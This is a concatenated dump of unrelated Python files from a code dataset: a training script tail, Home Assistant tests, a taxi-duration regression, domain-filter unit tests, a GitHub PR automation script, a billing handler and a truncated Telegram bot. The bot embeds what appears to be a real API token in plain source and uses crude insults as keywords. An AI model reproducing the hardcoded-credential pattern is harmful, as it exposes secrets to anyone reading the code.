val_acc\r\n torch.save(model.state_dict(),'best.mdl')\r\n viz.line([val_acc], [global_step], win='val_acc', update='append')\r\n print('best acc:',best_acc, 'best epoch',best_epoch)\r\n\r\n model.load_state_dict(torch.load('best.mdl'))\r\n print('loaded from ckpt!')\r\n test_acc = evalute(model,test_loader)\r\n print('test acc', test_acc)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"train_scratch.py","file_name":"train_scratch.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"641211185","text":"\"\"\"Test init of LCN integration.\"\"\"\nfrom unittest.mock import patch\n\nfrom pypck.connection import (\n PchkAuthenticationError,\n PchkConnectionManager,\n PchkLicenseError,\n)\n\nfrom homeassistant import config_entries\nfrom homeassistant.components.lcn.const import DOMAIN\nfrom homeassistant.config_entries import ConfigEntryState\nfrom homeassistant.helpers import entity_registry as er\nfrom homeassistant.setup import async_setup_component\n\nfrom .conftest import MockPchkConnectionManager, init_integration, setup_component\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_entry(hass, entry):\n \"\"\"Test a successful setup entry and unload of entry.\"\"\"\n await init_integration(hass, entry)\n assert len(hass.config_entries.async_entries(DOMAIN)) == 1\n assert entry.state == ConfigEntryState.LOADED\n\n assert await hass.config_entries.async_unload(entry.entry_id)\n await hass.async_block_till_done()\n\n assert entry.state == ConfigEntryState.NOT_LOADED\n assert not hass.data.get(DOMAIN)\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_multiple_entries(hass, entry, entry2):\n \"\"\"Test a successful setup and unload of multiple entries.\"\"\"\n for config_entry in (entry, entry2):\n await init_integration(hass, config_entry)\n assert config_entry.state == ConfigEntryState.LOADED\n await hass.async_block_till_done()\n\n assert len(hass.config_entries.async_entries(DOMAIN)) == 2\n\n for config_entry in (entry, entry2):\n assert await hass.config_entries.async_unload(config_entry.entry_id)\n await hass.async_block_till_done()\n\n assert config_entry.state == ConfigEntryState.NOT_LOADED\n\n assert not hass.data.get(DOMAIN)\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_entry_update(hass, entry):\n \"\"\"Test a successful setup entry if entry with same id already exists.\"\"\"\n # setup first entry\n entry.source = config_entries.SOURCE_IMPORT\n\n # create dummy entity for LCN platform as an orphan\n entity_registry = await er.async_get_registry(hass)\n dummy_entity = entity_registry.async_get_or_create(\n \"switch\", DOMAIN, \"dummy\", config_entry=entry\n )\n assert dummy_entity in entity_registry.entities.values()\n\n # add entity to hass and setup (should cleanup dummy entity)\n entry.add_to_hass(hass)\n await hass.config_entries.async_setup(entry.entry_id)\n await hass.async_block_till_done()\n\n assert dummy_entity not in entity_registry.entities.values()\n\n\nasync def test_async_setup_entry_raises_authentication_error(hass, entry):\n \"\"\"Test that an authentication error is handled properly.\"\"\"\n with patch.object(\n PchkConnectionManager, \"async_connect\", side_effect=PchkAuthenticationError\n ):\n await init_integration(hass, entry)\n assert entry.state == ConfigEntryState.SETUP_ERROR\n\n\nasync def test_async_setup_entry_raises_license_error(hass, entry):\n \"\"\"Test that an authentication error is handled properly.\"\"\"\n with patch.object(\n PchkConnectionManager, \"async_connect\", side_effect=PchkLicenseError\n ):\n await init_integration(hass, entry)\n assert entry.state == ConfigEntryState.SETUP_ERROR\n\n\nasync def test_async_setup_entry_raises_timeout_error(hass, entry):\n \"\"\"Test that an authentication error is handled properly.\"\"\"\n with patch.object(PchkConnectionManager, \"async_connect\", side_effect=TimeoutError):\n await init_integration(hass, entry)\n assert entry.state == ConfigEntryState.SETUP_ERROR\n\n\n@patch(\"pypck.connection.PchkConnectionManager\", MockPchkConnectionManager)\nasync def test_async_setup_from_configuration_yaml(hass):\n \"\"\"Test a successful setup using data from configuration.yaml.\"\"\"\n await async_setup_component(hass, \"persistent_notification\", {})\n\n with patch(\"homeassistant.components.lcn.async_setup_entry\") as async_setup_entry:\n await setup_component(hass)\n\n assert async_setup_entry.await_count == 2\n","sub_path":"tests/components/lcn/test_init.py","file_name":"test_init.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"283404720","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 21 17:40:39 2017\n\n@author: cdavid\n\"\"\"\n\n\"\"\" Import all packages and the used settings and functions \"\"\"\n\nimport pandas as pd\nimport seaborn as sns\nsns.set_style('whitegrid')\n\n\nfrom settings import Settings\nfrom src.functions.data_preprocessing import *\nfrom src.functions.functions_plot import *\nfrom src.functions.regression_pipeline import *\n\nsettings = Settings()\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nLoad training and test dataset\n\"\"\"\n\n# Load train and test dataset\ndf_train = pd.read_csv(settings.config['Data Locations'].get('train'))\ndf_validate = pd.read_csv(settings.config['Data Locations'].get('test'))\n\ndf_train.name = 'df_train'\ndf_validate.name = 'df_validate'\n\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nExplore the data\nFirst take a look at the training dataset\n- what are the features and how many features does the training data include\n- are the missing values (but take a deeper look at the data preperation process)\n- what are the different units of the features\n\"\"\"\n\n# Get a report of the training and test dataset as csv\n# -> Use the function describe_report(df, name, output_file_path=None)\n#describe_report(df_train, output_file_path=settings.csv)\n#describe_report(df_validate, output_file_path=settings.csv)\n\n# Show if there are different columns in the training and test dataset. If there is only one difference, it is likely, that its the target variable.\n# If there are columns in the test dataset, which are not in the training dataset, they have to be deleted, because the algorithm will not see them during the training.\n# -> Use the function column_diff(df_train, df_test)\ncolumn_diff(df_train, df_validate)\n\n# Create boxplots to indentify outliers. Histograms are a good standard way to see if feature is skewed but to find outliers, boxplots are the way to use\n# -> Use the function create_boxplots(df, output_file_path=None)\n#create_boxplots(df_train, output_file_path=settings.figures)\n\n\n# create map with trips\ncity_long_border = (-74.03, -73.75)\ncity_lat_border = (40.63, 40.85)\n\ndef trip_map(df_train, df_validate, city_long_border, city_lat_border):\n fig, ax = plt.subplots(ncols=2, sharex=True, sharey=True)\n ax[0].scatter(df_train['pickup_longitude'].values, df_train['pickup_latitude'].values,\n color='blue', s=1, label='train', alpha=0.1)\n ax[1].scatter(df_validate['pickup_longitude'].values, df_validate['pickup_latitude'].values,\n color='green', s=1, label='test', alpha=0.1)\n fig.suptitle('Train and test area complete overlap.')\n ax[0].legend(loc=0)\n ax[0].set_ylabel('latitude')\n ax[0].set_xlabel('longitude')\n ax[1].set_xlabel('longitude')\n ax[1].legend(loc=0)\n plt.ylim(city_lat_border)\n plt.xlim(city_long_border)\n plt.show()\n\n#trip_map(df_train, df_validate, city_long_border, city_lat_border)\n\n\n# Create cluster trips into MiniBatches and plot cluster on map\ndef cluster_trip_map(df_train, df_validate, city_long_border, city_lat_border):\n from sklearn.cluster import MiniBatchKMeans\n\n df_train['pickup_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_train[['pickup_latitude', 'pickup_longitude']])\n df_train['dropoff_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_train[['dropoff_latitude', 'dropoff_longitude']])\n\n df_validate['pickup_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_validate[['pickup_latitude', 'pickup_longitude']])\n df_validate['dropoff_cluster'] = MiniBatchKMeans(n_clusters=100, batch_size=10000).fit_predict(\n df_validate[['dropoff_latitude', 'dropoff_longitude']])\n\n cm = plt.cm.get_cmap('RdYlBu')\n fig, ax = plt.subplots(ncols=1, nrows=1)\n ax.scatter(df_train.pickup_longitude.values, df_train.pickup_latitude.values, c=df_train.pickup_cluster.values,\n alpha=0.2, s=10, cmap=cm)\n ax.set_xlim(city_long_border)\n ax.set_ylim(city_lat_border)\n ax.set_xlabel('Longitude')\n ax.set_ylabel('Latitude')\n plt.show()\n\n#cluster_trip_map(df_train, df_validate, city_long_border, city_lat_border)\n\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nFeature Creation\n\"\"\"\n\n# Format to daytime\ndf_train['pickup_datetime'] = pd.to_datetime(df_train.pickup_datetime)\ndf_train['dropoff_datetime'] = pd.to_datetime(df_train.dropoff_datetime)\n\ndf_validate['pickup_datetime'] = pd.to_datetime(df_validate.pickup_datetime)\n\n\n# get date, weekday, day, month, hour, minute\ndf_train['pickup_date'] = df_train['pickup_datetime'].dt.date\ndf_train['pickup_weekday'] = df_train['pickup_datetime'].dt.weekday\ndf_train['pickup_day'] = df_train['pickup_datetime'].dt.day\ndf_train['pickup_month'] = df_train['pickup_datetime'].dt.month\ndf_train['pickup_hour'] = df_train['pickup_datetime'].dt.hour\ndf_train['pickup_minute'] = df_train['pickup_datetime'].dt.minute\n\ndf_validate['pickup_date'] = df_validate['pickup_datetime'].dt.date\ndf_validate['pickup_weekday'] = df_validate['pickup_datetime'].dt.weekday\ndf_validate['pickup_day'] = df_validate['pickup_datetime'].dt.day\ndf_validate['pickup_month'] = df_validate['pickup_datetime'].dt.month\ndf_validate['pickup_hour'] = df_validate['pickup_datetime'].dt.hour\ndf_validate['pickup_minute'] = df_validate['pickup_datetime'].dt.minute\n\n\ndf_train['pickup_weekday_'] = df_train['pickup_weekday'].replace({0: 'Monday', 1: 'Tuesday', 2: 'Wednesday', 3: 'Thursday',\n 4: 'Friday', 5: 'Saturday', 6: 'Sunday'})\n\ndf_train['pickup_weekday_weekend'] = df_train['pickup_weekday'].replace({0: 'weekday', 1: 'weekday', 2: 'weekday', 3: 'weekday',\n 4: 'weekday', 5: 'weekend', 6: 'weekend'})\n\nplt.figure(figsize=(15, 5))\nsns.countplot(x='pickup_hour', hue='pickup_weekday_', data=df_train,\n hue_order=['Monday', 'Tuesday', 'Wednesday', 'Thursday',\n 'Friday', 'Saturday', 'Sunday'])\n\nplt.figure(figsize=(15, 5))\nsns.countplot(x='pickup_hour', hue='pickup_weekday_weekend', data=df_train, hue_order=['weekday', 'weekend'])\n\n\n\n# calculate haversine distance and manhatten distance\n\ndef haversine_distance(lat1, lng1, lat2, lng2):\n\n lat1, lng1, lat2, lng2 = map(np.radians, (lat1, lng1, lat2, lng2))\n AVG_EARTH_RADIUS = 6371 # in km\n lat = lat2 - lat1\n lng = lng2 - lng1\n d = np.sin(lat * 0.5) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(lng * 0.5) ** 2\n h = 2 * AVG_EARTH_RADIUS * np.arcsin(np.sqrt(d))\n return h # in km\n\n\ndef manhattan_distance(lat1, lng1, lat2, lng2):\n\n a = haversine_distance(lat1, lng1, lat1, lng2)\n b = haversine_distance(lat1, lng1, lat2, lng1)\n return a + b\n\ndf_train['distance_haversine'] = haversine_distance(\n df_train['pickup_latitude'].values, df_train['pickup_longitude'].values,\n df_train['dropoff_latitude'].values, df_train['dropoff_longitude'].values)\n\ndf_validate['distance_haversine'] = haversine_distance(\n df_validate['pickup_latitude'].values, df_validate['pickup_longitude'].values,\n df_validate['dropoff_latitude'].values, df_validate['dropoff_longitude'].values)\n\n\ndf_train['distance_manhattan'] = manhattan_distance(\n df_train['pickup_latitude'].values, df_train['pickup_longitude'].values,\n df_train['dropoff_latitude'].values, df_train['dropoff_longitude'].values)\n\ndf_validate['distance_manhattan'] = manhattan_distance(\n df_validate['pickup_latitude'].values, df_validate['pickup_longitude'].values,\n df_validate['dropoff_latitude'].values, df_validate['dropoff_longitude'].values)\n\n\n\n# calculate directions north <-> south (latutude) and east <-> west (longitude)\n# +1 because TRUE and FALSE is represented by 0 and 1 -> +1 to shift representation to 1 and 2 because same latitude represented by 0\n\ndf_train['direction_ns'] = (df_train.pickup_latitude>df_train.dropoff_latitude)*1+1\nindices = df_train[(df_train.pickup_latitude == df_train.dropoff_latitude) & (df_train.pickup_latitude!=0)].index\ndf_train.loc[indices,'direction_ns'] = 0\n\ndf_validate['direction_ns'] = (df_validate.pickup_latitude>df_validate.dropoff_latitude)*1+1\nindices = df_validate[(df_validate.pickup_latitude == df_validate.dropoff_latitude) & (df_validate.pickup_latitude!=0)].index\ndf_validate.loc[indices,'direction_ns'] = 0\n\ndf_train['direction_ew'] = (df_train.pickup_longitude>df_train.dropoff_longitude)*1+1\nindices = df_train[(df_train.pickup_longitude == df_train.dropoff_longitude) & (df_train.pickup_longitude!=0)].index\ndf_train.loc[indices,'direction_ew'] = 0\n\ndf_validate['direction_ew'] = (df_validate.pickup_longitude>df_validate.dropoff_longitude)*1+1\nindices = df_validate[(df_validate.pickup_longitude == df_validate.dropoff_longitude) & (df_validate.pickup_longitude!=0)].index\ndf_validate.loc[indices,'direction_ew'] = 0\n\n\n\n# calculate average speed in training dataset -> average speed in NYC district is the same of test dataset\ndf_train['avg_speed_h'] = 3600 * df_train['distance_haversine'] / df_train['trip_duration']\ndf_train['avg_speed_m'] = 3600 * df_train['distance_manhattan'] / df_train['trip_duration']\n\ndef plot_average_speed(df_train):\n plt.plot(df_train.groupby('pickup_hour').mean()['avg_speed_h'])\n plt.plot(df_train.groupby('pickup_hour').mean()['avg_speed_m'])\n plt.xlabel('hour')\n plt.ylabel('average speed')\n\n#plot_average_speed(df_train)\n\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nFeature Selection\n\"\"\"\n\ndf_train = df_train[df_train['avg_speed_h'] < 150]\ndf_train = df_train[df_train['avg_speed_m'] < 150]\n\ndf_train = df_train[df_train['pickup_latitude'] > city_lat_border[0]]\ndf_train = df_train[df_train['pickup_longitude'] < city_lat_border[1]]\n\ndf_train = df_train[df_train['dropoff_latitude'] > city_long_border[0]]\ndf_train = df_train[df_train['dropoff_longitude'] < city_long_border[1]]\n\ndf_train = df_train[df_train['trip_duration'] < 20000]\n\n\ndf_train.name = 'df_train'\ndf_validate.name = 'df_validate'\ncolumn_diff(df_train, df_validate)\n\ndf_validate.drop(['id', 'vendor_id', 'pickup_datetime', 'pickup_date', 'store_and_fwd_flag'], axis=1, inplace=True)\ncol_diff = list(np.setdiff1d(df_train.columns, df_validate.columns))\ncol_diff.remove('trip_duration')\n\ndf_train.drop(col_diff, axis=1, inplace=True)\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nMachine Learning (Regression)\n\"\"\"\n\ndf_train = df_train.iloc[:5000]\ndf_validate = df_validate.iloc[:3000]\n\nfrom sklearn.model_selection import train_test_split\ntrain_set, test_set = train_test_split(df_train, test_size=0.2, random_state=42)\n\ny_train = train_set['trip_duration']\nx_train = train_set.drop(['trip_duration'], axis=1)\n\ny_test = test_set['trip_duration']\nx_test = test_set.drop(['trip_duration'], axis=1)\n\nx_validate = df_validate\n\n\npipeline = Pipeline([\n ('reduce_dim', PCA()),\n ('feature_scaling', MinMaxScaler()), # scaling because linear models are sensitive to the scale of input features\n ('regression', Ridge()), # Ridge is default algorithm for linear models\n ])\n\nparam_grid = [{'reduce_dim__n_components': [5, 10, 14],\n 'regression__alpha': [0.005, 0.05, 0.1, 0.5],\n 'regression__solver': ['svd', 'cholesky']\n }]\n\n\npipe_best_params = regression_pipeline(x_train, y_train, pipeline, 5, 'r2', param_grid)\n\npipe_best = Pipeline([\n ('reduce_dim', PCA(n_components = pipe_best_params['reduce_dim__n_components'])),\n ('feature_scaling', MinMaxScaler()),\n ('regression', Ridge(alpha = pipe_best_params['regression__alpha'],solver = pipe_best_params['regression__solver'])),\n])\n\nprint(pipe_best_params['reduce_dim__n_components'])\nprint(pipe_best_params['regression__alpha'])\nprint(pipe_best_params['regression__solver'])\n\ntrain_errors = evaluate_pipe_best_train(x_train, y_train, pipe_best, 'Ridge', log=False, output_file_path=settings.figures)\n\nplot_learning_curve(pipe_best, 'Ridge', x_train, y_train, 'r2', output_file_path=settings.figures)\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nEvaluate the System on the Test Set\n\"\"\"\n#Evaluate the model with the test_set\n# -> Use the function evaluate_pipe_best_test(x_train, y_train, pipe_best, algo, output_file_path=None)\nevaluate_pipe_best_test(x_test, y_test, pipe_best, 'Ridge', log=False, output_file_path=settings.figures)\n\n","sub_path":"src/analysis/NYC_Taxi_Duration_v3_Ridge.py","file_name":"NYC_Taxi_Duration_v3_Ridge.py","file_ext":"py","file_size_in_byte":12648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"55206554","text":"#!/usr/bin/env python3\nimport unittest\nimport logging\nimport re\nfrom publicsuffixlist import PublicSuffixList\n\n\ndef decompose_filter(inputstring, psl=PublicSuffixList()):\n logging.debug(f'Parsing \"{inputstring}\"')\n try:\n match_list = []\n querystring = inputstring\n querystring = re.sub(r'(?i)[^-a-z0-9.%_]', '', querystring).strip('. ').lower()\n logging.debug(f'Cleaned input to \"{querystring}\"')\n if '_' in querystring:\n logging.error(f'Single character wildcards are not handled yet. \"{querystring}\"')\n if querystring.count('%') == 0:\n ts_q1 = querystring\n ts_q2 = querystring\n else:\n # Check for usable strings at the start of the string\n leading_match = re.search(r'^(?P[-a-z0-9.]+)(?:[%_.]*[%_])', querystring)\n if leading_match:\n match_list.append(leading_match.group('q_lead') + ':*')\n # Check for usable strings in the middle of the string\n mid_match_list = re.findall(r'(?<=[%_]\\.)(?P[-a-z0-9.]+)(?:[%_.]*[%_])', querystring)\n if mid_match_list:\n mid_match_list = [m + ':*' for m in mid_match_list]\n match_list.extend(mid_match_list)\n # Check for usable strings at the end of the string\n trailing_match = re.search(r'(?<=[%_]\\.)(?P[-a-z0-9.]+[-a-z0-9])$', querystring)\n if trailing_match:\n if psl.is_private(trailing_match.group('q_trail')):\n match_list.append(trailing_match.group('q_trail'))\n if match_list:\n match_list = list(set(match_list))\n match_list.sort(key=lambda x: len(x.lstrip('w').rstrip(':*')), reverse=True)\n ts_long_list = match_list[:2]\n ts_q1 = ts_long_list[0]\n ts_q2 = ts_long_list[-1]\n else:\n logging.error(f'Could not extract usable querystring on \"{inputstring}\"')\n return\n except Exception as e:\n logging.error(f'Error on \"{inputstring}\", \"{e}\"')\n return\n return_dict = {\n 'querystring': querystring,\n 'ts_q1': ts_q1,\n 'ts_q2': ts_q2,\n }\n return return_dict\n\n\nclass TestExtractQuery(unittest.TestCase):\n\n def test_simple_query(self):\n expected_dict = {'querystring': 'www.example.com.evil.com', 'ts_q1': 'www.example.com.evil.com', 'ts_q2': 'www.example.com.evil.com'}\n self.assertEqual(decompose_filter('www.example.com.evil.com'), expected_dict)\n\n def test_failed_mid_strings(self):\n self.assertIsNone(decompose_filter('%adgoogl%'))\n\n def test_failed_partial_domain(self):\n self.assertIsNone(decompose_filter('%vil.com'))\n\n def test_clean_and_trailing(self):\n expected_dict = {'ts_q1': 'evil.co.uk', 'ts_q2': 'evil.co.uk', 'querystring': '%.evil.co.uk'}\n self.assertEqual(decompose_filter('%[.]evil.co.uk'), expected_dict)\n\n def test_leading_sub(self):\n expected_dict = {'querystring': 'www.example.com.%', 'ts_q1': 'www.example.com.:*', 'ts_q2': 'www.example.com.:*'}\n self.assertEqual(decompose_filter('www.example.com.%'), expected_dict)\n\n def test_only_www(self):\n expected_dict = {'ts_q1': 'www:*', 'ts_q2': 'www:*', 'querystring': 'www%'}\n self.assertEqual(decompose_filter('www%'), expected_dict)\n\n def test_trailing(self):\n expected_dict = {'ts_q1': 'evil.co.uk', 'ts_q2': 'evil.co.uk', 'querystring': '%.evil.co.uk'}\n self.assertEqual(decompose_filter('%[.]evil.co.uk'), expected_dict)\n\n def test_trailing_multiple_wildcard(self):\n expected_dict = {'ts_q1': 'evil.co.uk', 'ts_q2': 'evil.co.uk', 'querystring': '%.%.evil.co.uk'}\n self.assertEqual(decompose_filter('%.%.evil.co[.]uk'), expected_dict)\n\n def test_www_multiple_wildcard(self):\n expected_dict = {'ts_q1': 'www.:*', 'ts_q2': 'www.:*', 'querystring': 'www.%.%'}\n self.assertEqual(decompose_filter('www.%.%'), expected_dict)\n\n def test_ignore_public_suffix(self):\n expected_dict = {'querystring': 'www.example%.co.uk', 'ts_q1': 'www.example:*', 'ts_q2': 'www.example:*'}\n self.assertEqual(decompose_filter('www.example%.co.uk'), expected_dict)\n\n def test_get_all_domains(self):\n expected_dict = {'ts_q1': 'example.co.:*', 'ts_q2': 'example.co.:*', 'querystring': '%.example.co.%'}\n self.assertEqual(decompose_filter('%.example.co.%'), expected_dict)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/unittest.py","file_name":"unittest.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"60180842","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\nfrom typing import Optional, NamedTuple\n\nfrom github.MainClass import Github\nfrom github.Repository import Repository\nfrom github.GithubException import GithubException, UnknownObjectException\nfrom github.GitRef import GitRef\nfrom github.PullRequest import PullRequest\nfrom github.InputGitTreeElement import InputGitTreeElement\nfrom chromedriver_updater.constants import PR_GITHUB_TOKEN, GITHUB_REPO, GITHUB_REF_NAME, BRANCH_NAME, GIT_AUTHOR_NAME\nimport sys\n\n\nclass UpdateEntry(NamedTuple):\n\tpath: str\n\told_version: str\n\tnew_version: str\n\n\ndef parse_update_entry(entry: str) -> UpdateEntry:\n\tparts = entry.split(\":\")\n\tproject = parts[0]\n\tparts = parts[1].split(\",\")\n\n\treturn UpdateEntry(project, parts[0], parts[1])\n\n\ndef path_to_project(path: str) -> str:\n\tif \"traffic_portal\" in path:\n\t\treturn \"Traffic Portal\"\n\telif \"traffic-portal\" in path:\n\t\treturn \"Traffic Portal v2\"\n\treturn \"\"\n\n\nclass PRCreator(Github):\n\trepo: Repository\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.repo = self.get_repo(GITHUB_REPO)\n\n\tdef pr_exists(self) -> bool:\n\t\tfor pr in self.search_issues(\"repo:%s is:pr is:open head:%s\" % (self.repo.full_name, BRANCH_NAME)):\n\t\t\treturn True\n\t\treturn False\n\n\tdef branch_exists(self) -> Optional[GitRef]:\n\t\ttry:\n\t\t\tb = self.repo.get_git_ref(\"heads/%s\" % BRANCH_NAME)\n\t\t\treturn b\n\t\texcept UnknownObjectException as e:\n\t\t\treturn None\n\n\tdef create_git_tree_from_entry(self, entry: UpdateEntry, file: str) -> InputGitTreeElement:\n\t\tfile_path = os.path.join(entry.path, file)\n\t\twith open(file_path, \"r\") as f:\n\t\t\tchange_file = f.read()\n\t\tblob = self.repo.create_git_blob(change_file, \"utf-8\")\n\t\treturn InputGitTreeElement(path=file_path, mode='100644', type='blob', sha=blob.sha)\n\n\tdef create_commit(self, updates: [UpdateEntry]) -> PullRequest:\n\t\twith open(os.path.join(os.path.dirname(__file__), \"templates\", \"pr.md\"), encoding=\"utf-8\") as f:\n\t\t\tpr_template = f.read()\n\t\ttree_elements = []\n\t\tprojects = \"\"\n\t\tupdated = \"\"\n\t\tfor update in updates:\n\t\t\ttree_elements.append(self.create_git_tree_from_entry(update, \"package.json\"))\n\t\t\ttree_elements.append(self.create_git_tree_from_entry(update, \"package-lock.json\"))\n\t\t\tprojects += \"* %s\\n\" % path_to_project(update.path)\n\t\t\tupdated += \"%s: %s -> %s\\n\" % (update.path, update.old_version, update.new_version)\n\t\thead_branch = self.repo.get_branch(GITHUB_REF_NAME)\n\t\tbranch_ref = self.repo.create_git_ref(ref=\"refs/heads/%s\" % BRANCH_NAME, sha=head_branch.commit.sha)\n\t\tbranch = self.repo.get_branch(BRANCH_NAME)\n\t\tbase_tree = self.repo.get_git_tree(sha=branch.commit.sha)\n\t\ttree = self.repo.create_git_tree(tree_elements, base_tree)\n\t\tparent = self.repo.get_git_commit(sha=branch.commit.sha)\n\t\tcommit = self.repo.create_git_commit(\"Update chromedriver\", tree, [parent])\n\t\tbranch_ref.edit(sha=commit.sha)\n\n\t\treturn self.repo.create_pull(title=\"Update Chromedriver Versions\", maintainer_can_modify=True,\n\t\t\t\t\t\t\t\t\t body=pr_template.format(UPDATES=updated, PROJECTS=projects),\n\t\t\t\t\t\t\t\t\t head=\"%s:%s\" % (GIT_AUTHOR_NAME, BRANCH_NAME), base=GITHUB_REF_NAME)\n\n\nif __name__ == \"__main__\":\n\tprint(\"Logging into github\")\n\tgh = PRCreator(login_or_token=PR_GITHUB_TOKEN)\n\n\tif len(sys.argv) == 1:\n\t\tif gh.pr_exists():\n\t\t\tprint(\"PR %s already exists\" % BRANCH_NAME)\n\t\tsys.exit(0)\n\telif len(sys.argv) != 2:\n\t\tprint(\"chromedriver_updater [updates file]\")\n\t\tsys.exit(1)\n\n\tupdatesFile = sys.argv[1]\n\tif not os.path.exists(updatesFile):\n\t\tprint(\"No updates\")\n\t\tsys.exit(0)\n\twith open(updatesFile, \"r\") as f:\n\t\tupdates = [line.rstrip() for line in f.readlines()]\n\tbranch_ref = gh.branch_exists()\n\tif branch_ref is not None:\n\t\tprint(\"Branch already exists (but not the pull request), recreating\")\n\t\tbranch_ref.delete()\n\n\tupdates = [parse_update_entry(update) for update in updates if update != \"\"]\n\tgh.create_commit(updates)\n","sub_path":".github/actions/chromedriver-updater/chromedriver_updater/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"365862919","text":"# -*- coding: utf-8 -*-\n\nimport web\nimport logging\nimport protocol\nimport db_helper\nfrom data_types import *\nfrom billing_client import BillingClient\n\nlogger = logging.getLogger()\n\nclass Handler:\n def POST(self):\n req = protocol.ReportOfferWall_Req(web.input())\n resp = protocol.ReportOfferWall_Resp()\n\n is_task_finished = db_helper.check_offerwall_point_has_reported(req.unique_task_id)\n if is_task_finished:\n logger.error(\"[OFFERWALL CALLBACK] task has finished, unique_task_id = %s\",req.unique_task_id)\n resp.rtn = -1\n return resp.dump_json()\n\n total = db_helper.update_offerwall_point(req.device_id, req.type, req.increment, req.unique_task_id)\n \n income = req.increment * 10\n BillingClient.instance().recharge(req.device_id, req.userid, income, req.remark, income)\n\n if req.inviter != 0:\n BillingClient.instance().share_income(req.inviter, req.userid, int(income/10.0))\n\n resp.income = income\n return resp.dump_json()\n\n\n","sub_path":"wangcai_svr/task/src/req_report_task_offerwall.py","file_name":"req_report_task_offerwall.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"371075744","text":"# import pandas.io.json as json\nimport pandas._libs.json as ujson\nfrom flask import make_response\n\nfrom .file_system_adapter import get_scheme\n\n\ndef to_json(data):\n return ujson.dumps(data, double_precision=2, orient='values')\n\n\ndef json_response(data, response=200):\n # response = make_response(simplejson.dumps(data, check_circular=True), response)\n # response = make_response(json.dumps(data), response)\n s = ujson.dumps(data, double_precision=2, orient='values')\n # s = nujson.dumps(data, double_precision=1)\n response = make_response(s, response)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n\ndef get_email_domain(email):\n at_index = email.find('@')\n domain = None\n if at_index != -1:\n domain = email[at_index + 1:]\n return domain\n\n\ndef load_dataset_schema(url):\n import os\n\n import fsspec\n import json\n\n def get_extension(path):\n name, ext = os.path.splitext(path)\n if ext == '.gz':\n name, ext = os.path.splitext(name)\n if ext == '.json':\n ext = '.json.gz'\n return ext\n\n extension = get_extension(url)\n json_schema = None\n if extension in ['.json', '.json.gz', '']:\n scheme = get_scheme(url)\n fs = fsspec.filesystem(scheme)\n if extension == '':\n url = os.path.join(url, 'index.json.gz')\n extension = get_extension(url)\n if extension == '.json.gz':\n import gzip\n with gzip.open(fs.open(url)) as f:\n json_schema = json.load(f)\n else:\n with fs.open(url) as f:\n json_schema = json.load(f)\n return json_schema\n","sub_path":"cirrocumulus/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"541474251","text":"import logging\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nimport os\n\nPORT = int(os.environ.get('PORT', 8443))\n\n# Enable logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\nTOKEN = '1906828102:AAFpGRVV5t27ywJnV8C4oELGrf37qRo8nRI'\n\ndef start(update, context):\n update.message.reply_text('Hi!')\n\ndef help(update, context):\n update.message.reply_text(\"'Сергей', 'Эльдар', 'усы', 'Бала', 'Бала привет', 'ты как', 'заткните его', 'пизды дам'\")\n\n\ndef echo(update, context):\n user_says = update.message.text.lower().split()\n user_says = set(user_says)\n for user_say in user_says:\n if \"сергей\" in user_say:\n update.message.reply_text(\"@MarkSulla, ты работу нашел?\")\n elif \"эльдар\" in user_say:\n update.message.reply_text(\"привет бала\")\n elif \"усы\" in user_say:\n update.message.reply_text(\"@MarkSulla усы побрил?\")\n elif user_say == \"бала\":\n update.message.reply_text(\"что брат?\")\n elif user_say == \"бала привет\":\n update.message.reply_text(\"Привет брат\")\n elif \"ты как\" in user_say:\n update.message.reply_text(\"Пойдет брат, ты как?\")\n elif \"заткните его\" in user_say:\n 